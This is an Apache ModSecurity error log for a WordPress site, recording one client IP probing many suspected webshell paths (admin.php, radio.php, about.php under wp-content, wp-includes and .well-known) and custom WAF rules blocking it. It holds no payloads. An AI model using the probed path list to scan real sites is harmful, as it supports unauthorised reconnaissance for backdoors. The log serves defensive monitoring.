[Wed Feb 04 01:34:49.057858 2026] [:error] [pid 42922:tid 42995] [client 52.243.58.155:35908] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aYIxuWazX4WPS_dQRkjtJAAAAIo"]
[Wed Feb 04 01:34:50.088899 2026] [:error] [pid 42921:tid 42976] [client 52.243.58.155:35988] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aYIxuoblShffGl-01ofLVgAAAFI"]
[Wed Feb 04 01:34:51.586167 2026] [:error] [pid 42921:tid 42960] [client 52.243.58.155:37362] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aYIxu4blShffGl-01ofLXgAAAEI"]
[Wed Feb 04 01:34:53.011991 2026] [:error] [pid 42922:tid 42996] [client 52.243.58.155:37649] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aYIxvWazX4WPS_dQRkjtKQAAAIs"]
[Wed Feb 04 01:34:54.456728 2026] [:error] [pid 42920:tid 42938] [client 52.243.58.155:32950] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aYIxviix3YKltG4EU0nVLAAAAAk"]
[Wed Feb 04 01:35:00.686108 2026] [:error] [pid 5229:tid 5249] [client 52.243.58.155:41305] [client 52.243.58.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.243.58.155, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYIxxEKmEgmJub93yUpmJgAAAZI"]
[Wed Feb 04 01:35:06.612622 2026] [:error] [pid 42922:tid 43005] [client 52.243.58.155:1244] [client 52.243.58.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYIxymazX4WPS_dQRkjtVgAAAJQ"]
[Wed Feb 04 01:35:13.378208 2026] [:error] [pid 42920:tid 42936] [client 52.243.58.155:37632] [client 52.243.58.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aYIx0Six3YKltG4EU0nVTQAAAAc"]
[Wed Feb 04 01:35:21.635151 2026] [autoindex:error] [pid 5229:tid 5251] [client 52.243.58.155:41305] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 04 01:35:22.228691 2026] [:error] [pid 43028:tid 43050] [client 52.243.58.155:28386] [client 52.243.58.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aYIx2lnHWnJD4cJC5DslRAAAANQ"]
[Wed Feb 04 01:35:31.027699 2026] [:error] [pid 5229:tid 5254] [client 52.243.58.155:32853] [client 52.243.58.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aYIx40KmEgmJub93yUpmSQAAAZc"]
[Wed Feb 04 01:35:42.665127 2026] [proxy_fcgi:error] [pid 42922:tid 43001] [client 52.243.58.155:29423] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 01:35:51.511128 2026] [:error] [pid 42922:tid 42989] [client 52.243.58.155:29423] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aYIx92azX4WPS_dQRkjthAAAAIQ"]
[Wed Feb 04 01:35:53.153525 2026] [:error] [pid 43028:tid 43031] [client 52.243.58.155:33920] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aYIx-VnHWnJD4cJC5DslhgAAAME"]
[Wed Feb 04 01:35:54.378791 2026] [:error] [pid 5229:tid 5236] [client 52.243.58.155:25237] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aYIx-kKmEgmJub93yUpmZQAAAYU"]
[Wed Feb 04 01:35:55.520748 2026] [:error] [pid 5229:tid 5240] [client 52.243.58.155:1556] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aYIx-0KmEgmJub93yUpmZwAAAYk"]
[Wed Feb 04 01:35:56.327450 2026] [:error] [pid 5148:tid 5170] [client 52.243.58.155:36260] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aYIx_L83HCHLtUIbS7JC7QAAAVM"]
[Wed Feb 04 01:35:58.212283 2026] [:error] [pid 5148:tid 5165] [client 52.243.58.155:1541] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aYIx_r83HCHLtUIbS7JC8wAAAU4"]
[Wed Feb 04 01:36:00.129674 2026] [:error] [pid 43028:tid 43040] [client 52.243.58.155:1966] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aYIyAFnHWnJD4cJC5DslnAAAAMo"]
[Wed Feb 04 01:36:01.841119 2026] [:error] [pid 43028:tid 43031] [client 52.243.58.155:1975] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aYIyAVnHWnJD4cJC5DslogAAAME"]
[Wed Feb 04 01:36:03.060656 2026] [:error] [pid 42920:tid 42942] [client 52.243.58.155:28682] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aYIyAyix3YKltG4EU0nVagAAAA0"]
[Wed Feb 04 01:36:04.109733 2026] [:error] [pid 28720:tid 28733] [client 52.243.58.155:24769] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aYIyBGmRXm2bmr_sYiYljgAAAQs"]
[Wed Feb 04 01:36:05.294489 2026] [:error] [pid 42921:tid 42960] [client 52.243.58.155:36242] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aYIyBYblShffGl-01ofLlgAAAEI"]
[Wed Feb 04 01:36:08.428221 2026] [:error] [pid 28720:tid 28726] [client 52.243.58.155:1561] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aYIyCGmRXm2bmr_sYiYllwAAAQQ"]
[Wed Feb 04 01:36:10.245983 2026] [:error] [pid 5148:tid 5164] [client 52.243.58.155:28722] [client 52.243.58.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aYIyCr83HCHLtUIbS7JDAAAAAU0"]
[Wed Feb 04 01:36:12.126882 2026] [:error] [pid 5148:tid 5174] [client 52.243.58.155:1593] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aYIyDL83HCHLtUIbS7JDBgAAAVc"]
[Wed Feb 04 01:36:14.276856 2026] [:error] [pid 5148:tid 5160] [client 52.243.58.155:36245] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aYIyDr83HCHLtUIbS7JDDQAAAUk"]
[Wed Feb 04 01:36:15.111259 2026] [:error] [pid 42920:tid 42929] [client 52.243.58.155:1557] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aYIyDyix3YKltG4EU0nVdQAAAAA"]
[Wed Feb 04 01:36:16.032027 2026] [:error] [pid 42921:tid 42962] [client 52.243.58.155:28715] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aYIyEIblShffGl-01ofLnAAAAEQ"]
[Wed Feb 04 01:36:17.800117 2026] [:error] [pid 42922:tid 43007] [client 52.243.58.155:33932] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aYIyEWazX4WPS_dQRkjtkQAAAJY"]
[Wed Feb 04 01:36:18.886123 2026] [:error] [pid 5148:tid 5173] [client 52.243.58.155:28686] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aYIyEr83HCHLtUIbS7JDFQAAAVY"]
[Wed Feb 04 01:36:19.645230 2026] [:error] [pid 5148:tid 5161] [client 52.243.58.155:36279] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aYIyE783HCHLtUIbS7JDFwAAAUo"]
[Wed Feb 04 01:36:20.585646 2026] [:error] [pid 28720:tid 28740] [client 52.243.58.155:1466] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYIyFGmRXm2bmr_sYiYloQAAARI"]
[Wed Feb 04 01:36:22.294652 2026] [:error] [pid 28720:tid 28733] [client 52.243.58.155:33976] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYIyFmmRXm2bmr_sYiYlqQAAAQs"]
[Wed Feb 04 01:36:22.838719 2026] [:error] [pid 28720:tid 28743] [client 52.243.58.155:33925] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYIyFmmRXm2bmr_sYiYlrgAAARU"]
[Wed Feb 04 01:36:23.788973 2026] [:error] [pid 28720:tid 28725] [client 52.243.58.155:47500] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYIyF2mRXm2bmr_sYiYltgAAAQM"]
[Wed Feb 04 01:36:25.891468 2026] [:error] [pid 5229:tid 5241] [client 52.243.58.155:36253] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYIyGUKmEgmJub93yUpmbgAAAYo"]
[Wed Feb 04 01:36:27.344017 2026] [:error] [pid 42920:tid 42942] [client 52.243.58.155:47527] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYIyGyix3YKltG4EU0nVgAAAAA0"]
[Wed Feb 04 01:36:29.015436 2026] [:error] [pid 42921:tid 42976] [client 52.243.58.155:28717] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYIyHYblShffGl-01ofLpgAAAFI"]
[Wed Feb 04 01:36:29.869995 2026] [:error] [pid 5148:tid 5168] [client 52.243.58.155:28732] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYIyHb83HCHLtUIbS7JDHwAAAVE"]
[Wed Feb 04 01:36:31.035819 2026] [:error] [pid 42921:tid 42973] [client 52.243.58.155:44366] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYIyH4blShffGl-01ofLqAAAAE8"]
[Wed Feb 04 01:36:32.278825 2026] [:error] [pid 5229:tid 5246] [client 52.243.58.155:24787] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYIyIEKmEgmJub93yUpmeAAAAY8"]
[Wed Feb 04 01:36:34.817423 2026] [:error] [pid 42920:tid 42930] [client 52.243.58.155:24802] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYIyIiix3YKltG4EU0nViwAAAAE"]
[Wed Feb 04 01:36:37.542338 2026] [:error] [pid 5148:tid 5161] [client 52.243.58.155:25242] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYIyJb83HCHLtUIbS7JDKQAAAUo"]
[Wed Feb 04 01:36:38.825601 2026] [:error] [pid 43028:tid 43048] [client 52.243.58.155:1585] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aYIyJlnHWnJD4cJC5DslygAAANI"]
[Wed Feb 04 01:36:40.353792 2026] [:error] [pid 28720:tid 28744] [client 52.243.58.155:24770] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aYIyKGmRXm2bmr_sYiYl5gAAARY"]
[Wed Feb 04 01:36:40.856079 2026] [:error] [pid 28720:tid 28737] [client 52.243.58.155:25243] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aYIyKGmRXm2bmr_sYiYl6AAAAQ8"]
[Wed Feb 04 01:36:42.082129 2026] [:error] [pid 5229:tid 5232] [client 52.243.58.155:47514] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aYIyKkKmEgmJub93yUpmfgAAAYE"]
[Wed Feb 04 01:36:43.802526 2026] [:error] [pid 42922:tid 43001] [client 52.243.58.155:36255] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aYIyK2azX4WPS_dQRkjttQAAAJA"]
[Wed Feb 04 01:36:44.953644 2026] [:error] [pid 5148:tid 5158] [client 52.243.58.155:25262] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aYIyLL83HCHLtUIbS7JDLAAAAUc"]
[Wed Feb 04 01:37:06.287411 2026] [:error] [pid 5148:tid 5165] [client 52.243.58.155:28695] [client 52.243.58.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aYIyQr83HCHLtUIbS7JDVQAAAU4"]
[Wed Feb 04 01:37:07.001138 2026] [:error] [pid 5148:tid 5163] [client 52.243.58.155:46694] [client 52.243.58.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aYIyQr83HCHLtUIbS7JDVwAAAUw"]
[Wed Feb 04 01:37:39.373942 2026] [:error] [pid 42921:tid 42958] [client 52.243.58.155:1938] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aYIyY4blShffGl-01ofMCAAAAEA"]
[Wed Feb 04 01:37:40.557450 2026] [:error] [pid 28720:tid 28738] [client 52.243.58.155:25271] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aYIyZGmRXm2bmr_sYiYmTQAAARA"]
[Wed Feb 04 01:37:41.657214 2026] [:error] [pid 28720:tid 28739] [client 52.243.58.155:24777] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aYIyZWmRXm2bmr_sYiYmTgAAARE"]
[Wed Feb 04 01:37:43.047969 2026] [:error] [pid 5229:tid 5237] [client 52.243.58.155:23799] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aYIyZ0KmEgmJub93yUpnHAAAAYY"]
